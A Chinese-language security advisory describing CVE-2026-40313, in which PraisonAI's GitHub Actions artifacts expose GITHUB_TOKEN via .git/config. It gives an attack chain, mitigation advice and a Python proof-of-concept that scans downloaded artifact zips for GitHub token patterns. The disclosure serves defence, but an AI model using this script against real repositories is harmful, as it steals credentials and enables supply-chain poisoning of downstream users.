IPBUF安全漏洞报告
English
CVE-2026-40313 CVSS 9.1 严重

CVE-2026-40313 PraisonAI凭证泄露漏洞

披露日期: 2026-04-14

漏洞信息

漏洞编号
CVE-2026-40313
漏洞类型
凭证泄露
CVSS评分
9.1 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
PraisonAI

相关标签

凭证泄露供应链攻击GitHub ActionsArtiPACKEDPraisonAI

漏洞概述

PraisonAI 4.5.139及以下版本存在严重的凭证泄露漏洞。由于GitHub Actions工作流未配置persist-credentials参数,导致GITHUB_TOKEN被写入.git/config文件。随后的构建产物上传步骤将此敏感文件打包公开。攻击者可轻易下载产物并提取Token,从而获得仓库写权限,推送恶意代码或污染软件包,对下游用户造成严重的供应链安全威胁。

技术细节

该漏洞的核心原理是GitHub Actions中`actions/checkout`的配置不当。默认情况下,检出代码时若未设置`persist-credentials: false`,系统会将GITHUB_TOKEN(有时包含ACTIONS_RUNTIME_TOKEN)写入.git/config文件以支持后续Git操作。在PraisonAI 4.5.139及以下版本中,工作流包含上传Artifacts的步骤,这会将整个工作目录(包含.git/config)打包。由于仓库是公开的,任何人都可下载这些Artifacts。攻击者利用这一点,下载产物后解压并分析.git/config文件,提取出有效的认证Token。利用该Token,攻击者可以冒充CI系统向仓库推送代码、篡改版本标签、甚至在构建过程中植入后门。这会导致PyPI包和Docker镜像被投毒,进而对所有下游用户构成严重的供应链安全风险。

攻击链分析

STEP 1
1. 侦察
攻击者识别出目标PraisonAI仓库使用GitHub Actions进行CI/CD,并关注其公开的Artifacts。
STEP 2
2. 获取工件
攻击者从仓库的Actions运行页面下载最新的构建产物(Artifacts)。
STEP 3
3. 提取凭证
解压下载的文件,定位.git/config,并利用脚本或手动查找其中存储的GITHUB_TOKEN。
STEP 4
4. 利用令牌
使用提取的Token通过API向仓库提交恶意代码、修改Release或投毒PyPI/Docker包。
STEP 5
5. 供应链攻击
下游用户更新或拉取被篡改的代码或包,导致系统被入侵。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import zipfile import re import os def extract_token_from_artifact(artifact_path): """ This script demonstrates how an attacker might extract a leaked GITHUB_TOKEN from a downloaded artifact zip file that contains a .git/config directory. """ print(f"[*] Analyzing artifact: {artifact_path}") extracted_tokens = [] try: with zipfile.ZipFile(artifact_path, 'r') as zip_ref: # List all files in the artifact file_list = zip_ref.namelist() # Search for .git/config file git_config_path = None for file in file_list: if '.git/config' in file: git_config_path = file break if git_config_path: print(f"[+] Found .git/config at: {git_config_path}") # Read the content of .git/config config_content = zip_ref.read(git_config_path).decode('utf-8') # Regex to find GITHUB_TOKEN (usually starts with ghp_, ghu_, ghs_, etc.) token_pattern = re.compile(r'(ghp_[a-zA-Z0-9]{36}|ghu_[a-zA-Z0-9]{36}|gho_[a-zA-Z0-9]{36}|ghs_[a-zA-Z0-9]{36})') matches = token_pattern.findall(config_content) if matches: for match in matches: print(f"[!] Leaked Token Found: {match}") extracted_tokens.append(match) else: print("[-] No standard GitHub tokens found in config.") else: print("[-] .git/config not found in the artifact.") except Exception as e: print(f"[-] Error processing file: {e}") return extracted_tokens # Example usage (assuming an attacker downloaded 'workflow-artifact.zip') # tokens = extract_token_from_artifact('workflow-artifact.zip')

影响范围

PraisonAI <= 4.5.139

防御指南

临时缓解措施
立即检查所有GitHub Actions工作流文件,确保在使用actions/checkout时显式设置persist-credentials: false。同时,手动删除仓库中可能包含泄露令牌的所有历史Artifacts,并撤销可能已泄露的GITHUB_TOKEN。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表